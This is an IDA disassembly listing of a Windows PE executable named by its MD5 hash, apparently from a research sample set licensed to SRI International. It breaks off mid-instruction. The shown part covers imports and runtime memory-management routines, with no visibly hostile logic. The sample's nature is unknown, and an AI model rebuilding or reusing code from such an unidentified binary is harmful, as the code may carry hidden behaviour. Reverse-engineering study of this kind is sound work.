; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D74613E21637BFE3C9B773C606015D91 ; File Name : u:\work\d74613e21637bfe3c9b773c606015d91_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 20000000 ; Section 1. (virtual address 00001000) ; Virtual size : 000124C0 ( 74944.) ; Section size in file : 00012600 ( 75264.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute CODE segment para public 'CODE' use32 assume cs:CODE ;org 20001000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing off_20001000 dd offset dword_20001004 ; DATA XREF: CODE:200063A6o ; CODE:20006D55o ... dword_20001004 dd 7453060Ah, 676E6972h ; DATA XREF: CODE:off_20001000o off_2000100C dd offset dword_20001058 ; DATA XREF: CODE:20001128o ; CODE:20006378o ... dd 7 dup(0) dd offset dword_20001058 dd 4, 0 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20001058 dd 624F5407h, 7463656Ah ; DATA XREF: CODE:off_2000100Co ; CODE:2000102Co ... off_20001060 dd offset dword_20001064 ; DATA XREF: CODE:2000CA80o ; CODE:2000F751o dword_20001064 dd 4F540707h, 63656A62h ; DATA XREF: CODE:off_20001060o db 74h dd offset dword_20001058 align 4 dd 6000000h, 74737953h, 6D65h off_20001080 dd offset dword_20001084 ; DATA XREF: CODE:2000F779o dword_20001084 dd 49490A0Fh, 7265746Eh, 65636166h, 0 ; DATA XREF: CODE:off_20001080o dd 1, 0 dd 0C000h, 0 dword_200010A4 dd 79530646h, 6D657473h, 0FFFF0003h, 244483CCh, 0A9E9F804h ; DATA XREF: CODE:off_200010D1o dd 83000044h, 0F8042444h, 44C7E9h, 24448300h, 0D1E9F804h dd 0CC000044h db 0CCh off_200010D1 dd offset dword_200010A4+0Dh ; DATA XREF: CODE:200010F1o dd offset dword_200010A4+17h dd offset dword_200010A4+21h byte_200010DD db 1, 2 dup(0) ; DATA XREF: CODE:20001104o dd 2 dup(0) dd 0C000h, 0 db 46h dd offset off_200010D1 db 8, 2 dup(0) align 10h off_20001100 dd offset dword_2000114C ; DATA XREF: CODE:20006EA0o dd offset byte_200010DD dd 6 dup(0) dd offset dword_2000114C dd 0Ch dd offset off_2000100C dd offset sub_20003700 dd offset sub_20005538 dd offset sub_20005544 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_20005554 dd offset sub_200034A8 dd offset sub_200034E4 dword_2000114C dd 6E495411h, 66726574h, 64656361h, 656A624Fh, 0C08B7463h ; DATA XREF: CODE:off_20001100o ; CODE:20001120o ; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetFileType. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetStdHandle. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RaiseException. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION ReadFile. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SetEndOfFile. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION UnhandledExceptionFilter. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION FindClose. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION FindFirstFileA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetLocaleInfoA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetStartupInfoA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetThreadLocale. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LoadStringA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION lstrcpynA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION lstrlenA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION MultiByteToWideChar. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION RegQueryValueExA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION WideCharToMultiByte. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VirtualQuery. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SysAllocStringLen. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION SysReAllocStringLen. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION SysFreeString. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION InterlockedIncrement. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION InterlockedDecrement. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetVersion. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_200012B8 proc near ; CODE XREF: sub_20005AB4+71p var_1C = byte ptr -1Ch var_18 = word ptr -18h push ebx add esp, 0FFFFFFBCh mov ebx, 0Ah push esp ; lpStartupInfo call GetStartupInfoA test [esp+48h+var_1C], 1 jz short loc_200012D3 movzx ebx, [esp+48h+var_18] loc_200012D3: ; CODE XREF: sub_200012B8+14j mov eax, ebx add esp, 44h pop ebx retn sub_200012B8 endp ; --------------------------------------------------------------------------- align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LocalFree. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VirtualAlloc. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION VirtualFree. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION InitializeCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION EnterCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LeaveCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION DeleteCriticalSection. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_2000131C proc near ; CODE XREF: sub_20001374+6p push ebx push esi mov esi, offset dword_200155E0 cmp dword ptr [esi], 0 jnz short loc_20001362 push 644h ; uBytes push 0 ; uFlags call LocalAlloc mov ecx, eax test ecx, ecx jnz short loc_2000133F xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_2000133F: ; CODE XREF: sub_2000131C+1Cj mov eax, ds:dword_200155DC mov [ecx], eax mov ds:dword_200155DC, ecx xor edx, edx loc_2000134E: ; CODE XREF: sub_2000131C+44j mov eax, edx add eax, eax lea eax, [ecx+eax*8+4] mov ebx, [esi] mov [eax], ebx mov [esi], eax inc edx cmp edx, 64h jnz short loc_2000134E loc_20001362: ; CODE XREF: sub_2000131C+Aj mov eax, [esi] mov edx, [eax] mov [esi], edx pop esi pop ebx retn sub_2000131C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000136C proc near ; CODE XREF: sub_200019A8+33p ; sub_200019A8+3Dp ... mov [eax], eax mov [eax+4], eax retn sub_2000136C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001374 proc near ; CODE XREF: sub_200013BC+5Dp ; sub_2000142C+73p ... push ebx push esi mov esi, edx mov ebx, eax call sub_2000131C test eax, eax jnz short loc_20001388 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_20001388: ; CODE XREF: sub_20001374+Dj mov edx, [esi] mov [eax+8], edx mov edx, [esi+4] mov [eax+0Ch], edx mov edx, [ebx] mov [eax], edx mov [eax+4], ebx mov [edx+4], eax mov [ebx], eax mov al, 1 pop esi pop ebx retn sub_20001374 endp ; =============== S U B R O U T I N E ======================================= sub_200013A4 proc near ; CODE XREF: sub_200013BC+2Cp ; sub_200013BC+48p ... mov edx, [eax+4] mov ecx, [eax] mov [edx], ecx mov [ecx+4], edx mov edx, ds:dword_200155E0 mov [eax], edx mov ds:dword_200155E0, eax retn sub_200013A4 endp ; =============== S U B R O U T I N E ======================================= sub_200013BC proc near ; CODE XREF: sub_20001768+6Cp ; sub_200017F8+62p ... var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov esi, ecx mov [esp+14h+var_14], edx mov ebp, eax mov ebx, [ebp+0] mov eax, [esp+14h+var_14] mov edx, [eax] mov [esi], edx mov edx, [eax+4] mov [esi+4], edx loc_200013D8: ; CODE XREF: sub_200013BC+57j mov edi, [ebx] mov eax, [esi] mov edx, [ebx+8] add edx, [ebx+0Ch] cmp eax, edx jnz short loc_200013FA mov eax, ebx call sub_200013A4 mov eax, [ebx+8] mov [esi], eax mov eax, [ebx+0Ch] add [esi+4], eax jmp short loc_2000140F ; --------------------------------------------------------------------------- loc_200013FA: ; CODE XREF: sub_200013BC+28j add eax, [esi+4] cmp eax, [ebx+8] jnz short loc_2000140F mov eax, ebx call sub_200013A4 mov eax, [ebx+0Ch] add [esi+4], eax loc_2000140F: ; CODE XREF: sub_200013BC+3Cj ; sub_200013BC+44j mov ebx, edi cmp ebp, ebx jnz short loc_200013D8 mov edx, esi mov eax, ebp call sub_20001374 test al, al jnz short loc_20001426 xor eax, eax mov [esi], eax loc_20001426: ; CODE XREF: sub_200013BC+64j pop edx pop ebp pop edi pop esi pop ebx retn sub_200013BC endp ; =============== S U B R O U T I N E ======================================= sub_2000142C proc near ; CODE XREF: sub_2000191C+7Ap ; sub_20001D04+99p var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov ebx, eax mov edi, ebx loc_20001437: ; CODE XREF: sub_2000142C+88j mov esi, [edx] mov eax, [ebx+8] cmp esi, eax jb short loc_200014B0 mov ecx, esi add ecx, [edx+4] mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp ja short loc_200014B0 cmp esi, eax jnz short loc_2000146D mov eax, [edx+4] add [ebx+8], eax mov eax, [edx+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_200014AC mov eax, ebx call sub_200013A4 jmp short loc_200014AC ; --------------------------------------------------------------------------- loc_2000146D: ; CODE XREF: sub_2000142C+24j mov ecx, esi mov edi, [edx+4] add ecx, edi mov ebp, eax add ebp, [ebx+0Ch] cmp ecx, ebp jnz short loc_20001482 sub [ebx+0Ch], edi jmp short loc_200014AC ; --------------------------------------------------------------------------- loc_20001482: ; CODE XREF: sub_2000142C+4Fj mov ecx, [edx] add ecx, [edx+4] mov [esp+18h+var_18], ecx mov edi, [ebx+8] add edi, [ebx+0Ch] sub edi, ecx mov [esp+18h+var_14], edi sub esi, eax mov [ebx+0Ch], esi mov edx, esp mov eax, ebx call sub_20001374 test al, al jnz short loc_200014AC xor eax, eax jmp short loc_200014B8 ; --------------------------------------------------------------------------- loc_200014AC: ; CODE XREF: sub_2000142C+36j ; sub_2000142C+3Fj ... mov al, 1 jmp short loc_200014B8 ; --------------------------------------------------------------------------- loc_200014B0: ; CODE XREF: sub_2000142C+12j ; sub_2000142C+20j mov ebx, [ebx] cmp edi, ebx jnz short loc_20001437 xor eax, eax loc_200014B8: ; CODE XREF: sub_2000142C+7Ej ; sub_2000142C+82j pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_2000142C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200014C0 proc near ; CODE XREF: sub_20001768+5Cp push ebx push esi push edi mov ebx, edx mov esi, eax cmp esi, 100000h jge short loc_200014D6 mov esi, 100000h jmp short loc_200014E2 ; --------------------------------------------------------------------------- loc_200014D6: ; CODE XREF: sub_200014C0+Dj add esi, 0FFFFh and esi, 0FFFF0000h loc_200014E2: ; CODE XREF: sub_200014C0+14j mov [ebx+4], esi push 1 ; flProtect push 2000h ; flAllocationType push esi ; dwSize push 0 ; lpAddress call VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jz short loc_2000151F mov edx, ebx mov eax, offset dword_200155E4 call sub_20001374 test al, al jnz short loc_2000151F push 8000h ; dwFreeType push 0 ; dwSize mov eax, [ebx] push eax ; lpAddress call VirtualFree xor eax, eax mov [ebx], eax loc_2000151F: ; CODE XREF: sub_200014C0+3Aj ; sub_200014C0+4Aj pop edi pop esi pop ebx retn sub_200014C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001524 proc near ; CODE XREF: sub_200017F8+4Cp ; sub_200017F8+93p push ebx push esi push edi push ebp mov ebx, ecx mov esi, edx mov ebp, eax mov dword ptr [ebx+4], 100000h push 4 ; flProtect push 2000h ; flAllocationType push 100000h ; dwSize push ebp ; lpAddress call VirtualAlloc mov edi, eax mov [ebx], edi test edi, edi jnz short loc_2000156E add esi, 0FFFFh and esi, 0FFFF0000h mov [ebx+4], esi push 4 ; flProtect push 2000h ; flAllocationType push esi ; dwSize push ebp ; lpAddress call VirtualAlloc mov [ebx], eax loc_2000156E: ; CODE XREF: sub_20001524+29j cmp dword ptr [ebx], 0 jz short loc_20001596 mov edx, ebx mov eax, offset dword_200155E4 call sub_20001374 test al, al jnz short loc_20001596 push 8000h ; dwFreeType push 0 ; dwSize mov eax, [ebx] push eax ; lpAddress call VirtualFree xor eax, eax mov [ebx], eax loc_20001596: ; CODE XREF: sub_20001524+4Dj ; sub_20001524+5Dj pop ebp pop edi pop esi pop ebx retn sub_20001524 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000159C proc near ; CODE XREF: sub_20001768+7Ep ; sub_200017F8+7Ap ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_20], ecx mov [esp+24h+var_24], edx mov [esp+24h+var_1C], 0FFFFFFFFh xor edx, edx mov [esp+24h+var_18], edx mov ebp, eax mov eax, [esp+24h+var_24] add eax, ebp mov [esp+24h+var_14], eax mov ebx, ds:dword_200155E4 jmp short loc_2000161C ; --------------------------------------------------------------------------- loc_200015CB: ; CODE XREF: sub_2000159C+86j mov edi, [ebx] mov esi, [ebx+8] cmp ebp, esi ja short loc_2000161A mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_14] ja short loc_2000161A cmp esi, [esp+24h+var_1C] jnb short loc_200015E9 mov [esp+24h+var_1C], esi loc_200015E9: ; CODE XREF: sub_2000159C+47j mov eax, esi add eax, [ebx+0Ch] cmp eax, [esp+24h+var_18] jbe short loc_200015F8 mov [esp+24h+var_18], eax loc_200015F8: ; CODE XREF: sub_2000159C+56j push 8000h ; dwFreeType push 0 ; dwSize push esi ; lpAddress call VirtualFree test eax, eax jnz short loc_20001613 mov ds:dword_200155C0, 1 loc_20001613: ; CODE XREF: sub_2000159C+6Bj mov eax, ebx call sub_200013A4 loc_2000161A: ; CODE XREF: sub_2000159C+36j ; sub_2000159C+41j mov ebx, edi loc_2000161C: ; CODE XREF: sub_2000159C+2Dj cmp ebx, offset dword_200155E4 jnz short loc_200015CB mov eax, [esp+24h+var_20] xor edx, edx mov [eax], edx cmp [esp+24h+var_18], 0 jz short loc_2000164C mov eax, [esp+24h+var_20] mov edx, [esp+24h+var_1C] mov [eax], edx mov eax, [esp+24h+var_18] sub eax, [esp+24h+var_1C] mov edx, [esp+24h+var_20] mov [edx+4], eax loc_2000164C: ; CODE XREF: sub_2000159C+95j add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_2000159C endp ; =============== S U B R O U T I N E ======================================= sub_20001654 proc near ; CODE XREF: sub_20001768+2Dp ; sub_200017F8+E6p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov [esp+1Ch+var_18], ecx mov [esp+1Ch+var_1C], edx mov edx, eax mov ebp, edx and ebp, 0FFFFF000h add edx, [esp+1Ch+var_1C] add edx, 0FFFh and edx, 0FFFFF000h mov [esp+1Ch+var_14], edx mov eax, [esp+1Ch+var_18] mov [eax], ebp mov eax, [esp+1Ch+var_14] sub eax, ebp mov edx, [esp+1Ch+var_18] mov [edx+4], eax mov esi, ds:dword_200155E4 jmp short loc_200016D6 ; --------------------------------------------------------------------------- loc_2000169A: ; CODE XREF: sub_20001654+88j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebp, ebx jbe short loc_200016A8 mov ebx, ebp loc_200016A8: ; CODE XREF: sub_20001654+50j cmp edi, [esp+1Ch+var_14] jbe short loc_200016B2 mov edi, [esp+1Ch+var_14] loc_200016B2: ; CODE XREF: sub_20001654+58j cmp edi, ebx jbe short loc_200016D4 push 4 ; flProtect push 1000h ; flAllocationType sub edi, ebx push edi ; dwSize push ebx ; lpAddress call VirtualAlloc test eax, eax jnz short loc_200016D4 mov eax, [esp+1Ch+var_18] xor edx, edx mov [eax], edx jmp short loc_200016DE ; --------------------------------------------------------------------------- loc_200016D4: ; CODE XREF: sub_20001654+60j ; sub_20001654+74j mov esi, [esi] loc_200016D6: ; CODE XREF: sub_20001654+44j cmp esi, offset dword_200155E4 jnz short loc_2000169A loc_200016DE: ; CODE XREF: sub_20001654+7Ej add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_20001654 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200016E8 proc near ; CODE XREF: sub_2000191C+2Ep var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ebx, eax mov esi, ebx add esi, 0FFFh and esi, 0FFFFF000h mov [esp+14h+var_14], esi mov ebp, ebx add ebp, edx and ebp, 0FFFFF000h mov eax, [esp+14h+var_14] mov [ecx], eax mov eax, ebp sub eax, [esp+14h+var_14] mov [ecx+4], eax mov esi, ds:dword_200155E4 jmp short loc_20001757 ; --------------------------------------------------------------------------- loc_2000171F: ; CODE XREF: sub_200016E8+75j mov ebx, [esi+8] mov edi, [esi+0Ch] add edi, ebx cmp ebx, [esp+14h+var_14] jnb short loc_2000172F mov ebx, [esp+14h+var_14] loc_2000172F: ; CODE XREF: sub_200016E8+42j cmp ebp, edi jnb short loc_20001735 mov edi, ebp loc_20001735: ; CODE XREF: sub_200016E8+49j cmp edi, ebx jbe short loc_20001755 push 4000h ; dwFreeType sub edi, ebx push edi ; dwSize push ebx ; lpAddress call VirtualFree test eax, eax jnz short loc_20001755 mov ds:dword_200155C0, 2 loc_20001755: ; CODE XREF: sub_200016E8+4Fj ; sub_200016E8+61j mov esi, [esi] loc_20001757: ; CODE XREF: sub_200016E8+35j cmp esi, offset dword_200155E4 jnz short loc_2000171F pop edx pop ebp pop edi pop esi pop ebx retn sub_200016E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20001768 proc near ; CODE XREF: sub_20001F14+Bp var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov esi, edx mov edi, eax mov ebp, offset dword_200155F4 add edi, 3FFFh and edi, 0FFFFC000h loc_20001784: ; CODE XREF: sub_20001768+75j mov ebx, [ebp+0] jmp short loc_200017BC ; --------------------------------------------------------------------------- loc_20001789: ; CODE XREF: sub_20001768+56j cmp edi, [ebx+0Ch] jg short loc_200017BA mov ecx, esi mov edx, edi mov eax, [ebx+8] call sub_20001654 cmp dword ptr [esi], 0 jz short loc_200017EF mov eax, [esi+4] add [ebx+8], eax mov eax, [esi+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_200017EF mov eax, ebx call sub_200013A4 jmp short loc_200017EF ; --------------------------------------------------------------------------- loc_200017BA: ; CODE XREF: sub_20001768+24j mov ebx, [ebx] loc_200017BC: ; CODE XREF: sub_20001768+1Fj cmp ebx, ebp jnz short loc_20001789 mov edx, esi mov eax, edi call sub_200014C0 cmp dword ptr [esi], 0 jz short loc_200017EF mov ecx, esp mov edx, esi mov eax, ebp call sub_200013BC cmp [esp+18h+var_18], 0 jnz short loc_20001784 mov ecx, esp mov edx, [esi+4] mov eax, [esi] call sub_2000159C xor eax, eax mov [esi], eax loc_200017EF: ; CODE XREF: sub_20001768+35j ; sub_20001768+47j ... pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_20001768 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200017F8 proc near ; CODE XREF: sub_20001F40+10p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h push ebx push esi push edi push ebp add esp, 0FFFFFFECh mov [esp+24h+var_24], ecx mov edi, edx mov esi, eax mov ebp, offset dword_200155F4 add edi, 3FFFh and edi, 0FFFFC000h loc_20001817: ; CODE XREF: sub_200017F8+6Cj ; sub_200017F8+B3j mov ebx, [ebp+0] jmp short loc_2000181E ; --------------------------------------------------------------------------- loc_2000181C: ; CODE XREF: sub_200017F8+2Dj mov ebx, [ebx] loc_2000181E: ; CODE XREF: sub_200017F8+22j cmp ebx, ebp jz short loc_20001827 cmp esi, [ebx+8] jnz short loc_2000181C loc_20001827: ; CODE XREF: sub_200017F8+28j cmp esi, [ebx+8] jnz short loc_20001883 cmp edi, [ebx+0Ch] jle loc_200018CB lea ecx, [esp+24h+var_20] mov edx, edi sub edx, [ebx+0Ch] mov eax, [ebx+8] add eax, [ebx+0Ch] call sub_20001524 cmp [esp+24h+var_20], 0 jz short loc_20001883 lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_200013BC cmp [esp+24h+var_18], 0 jnz short loc_20001817 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_2000159C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp loc_20001913 ; --------------------------------------------------------------------------- loc_20001883: ; CODE XREF: sub_200017F8+32j ; sub_200017F8+56j lea ecx, [esp+24h+var_20] mov edx, edi mov eax, esi call sub_20001524 cmp [esp+24h+var_20], 0 jz short loc_200018CB lea ecx, [esp+24h+var_18] lea edx, [esp+24h+var_20] mov eax, ebp call sub_200013BC cmp [esp+24h+var_18], 0 jnz loc_20001817 lea ecx, [esp+24h+var_18] mov edx, [esp+24h+var_1C] mov eax, [esp+24h+var_20] call sub_2000159C mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx jmp short loc_20001913 ; --------------------------------------------------------------------------- loc_200018CB: ; CODE XREF: sub_200017F8+37j ; sub_200017F8+9Dj mov ebp, [ebx+8] cmp esi, ebp jnz short loc_2000190C cmp edi, [ebx+0Ch] jg short loc_2000190C mov ecx, [esp+24h+var_24] mov edx, edi mov eax, ebp call sub_20001654 mov eax, [esp+24h+var_24] cmp dword ptr [eax], 0 jz short loc_20001913 mov eax, [esp+24h+var_24] mov eax, [eax+4] add [ebx+8], eax mov eax, [esp+24h+var_24] mov eax, [eax+4] sub [ebx+0Ch], eax cmp dword ptr [ebx+0Ch], 0 jnz short loc_20001913 mov eax, ebx call sub_200013A4 jmp short loc_20001913 ; --------------------------------------------------------------------------- loc_2000190C: ; CODE XREF: sub_200017F8+D8j ; sub_200017F8+DDj mov eax, [esp+24h+var_24] xor edx, edx mov [eax], edx loc_20001913: ; CODE XREF: sub_200017F8+86j ; sub_200017F8+D1j ... add esp, 14h pop ebp pop edi pop esi pop ebx retn sub_200017F8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000191C proc near ; CODE XREF: sub_20001D04+4Ep ; sub_20001D04+61p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h push ebx push esi push edi add esp, 0FFFFFFECh mov edi, ecx mov [esp+20h+var_20], edx lea ebx, [eax+3FFFh] and ebx, 0FFFFC000h mov esi, [esp+20h+var_20] add esi, eax and esi, 0FFFFC000h cmp ebx, esi jnb short loc_2000199D mov ecx, edi mov edx, esi sub edx, ebx mov eax, ebx call sub_200016E8 lea ecx, [esp+20h+var_1C] mov edx, edi mov eax, offset dword_200155F4 call sub_200013BC mov ebx, [esp+20h+var_1C] test ebx, ebx jz short loc_20001986 lea ecx, [esp+20h+var_14] mov edx, [esp+20h+var_18] mov eax, ebx call sub_2000159C mov eax, [esp+20h+var_14] mov [esp+20h+var_1C], eax mov eax, [esp+20h+var_10] mov [esp+20h+var_18], eax loc_20001986: ; CODE XREF: sub_2000191C+49j cmp [esp+20h+var_1C], 0 jz short loc_200019A1 lea edx, [esp+20h+var_1C] mov eax, offset dword_200155F4 call sub_2000142C jmp short loc_200019A1 ; --------------------------------------------------------------------------- loc_2000199D: ; CODE XREF: sub_2000191C+24j xor eax, eax mov [edi], eax loc_200019A1: ; CODE XREF: sub_2000191C+6Fj ; sub_2000191C+7Fj add esp, 14h pop edi pop esi pop ebx retn sub_2000191C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200019A8 proc near ; CODE XREF: sub_20002094+14p ; sub_20002224+19p ... arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 200039D0 SIZE 00000036 BYTES push ebp mov ebp, esp xor edx, edx push ebp push offset loc_20001A5E push dword ptr fs:[edx] mov fs:[edx], esp push offset CriticalSection ; lpCriticalSection call InitializeCriticalSection cmp ds:byte_20015045, 0 jz short loc_200019D6 push offset CriticalSection ; lpCriticalSection call EnterCriticalSection loc_200019D6: ; CODE XREF: sub_200019A8+22j mov eax, offset dword_200155E4 call sub_2000136C mov eax, offset dword_200155F4 call sub_2000136C mov eax, offset dword_20015620 call sub_2000136C push 0FF8h ; uBytes push 0 ; uFlags call LocalAlloc mov ds:hMem, eax cmp ds:hMem, 0 jz short loc_20001A3D mov eax, 3 loc_20001A13: ; CODE XREF: sub_200019A8+7Dj mov edx, ds:hMem xor ecx, ecx mov [edx+eax*4-0Ch], ecx inc eax cmp eax, 401h jnz short loc_20001A13 mov eax, offset dword_20015604 mov [eax+4], 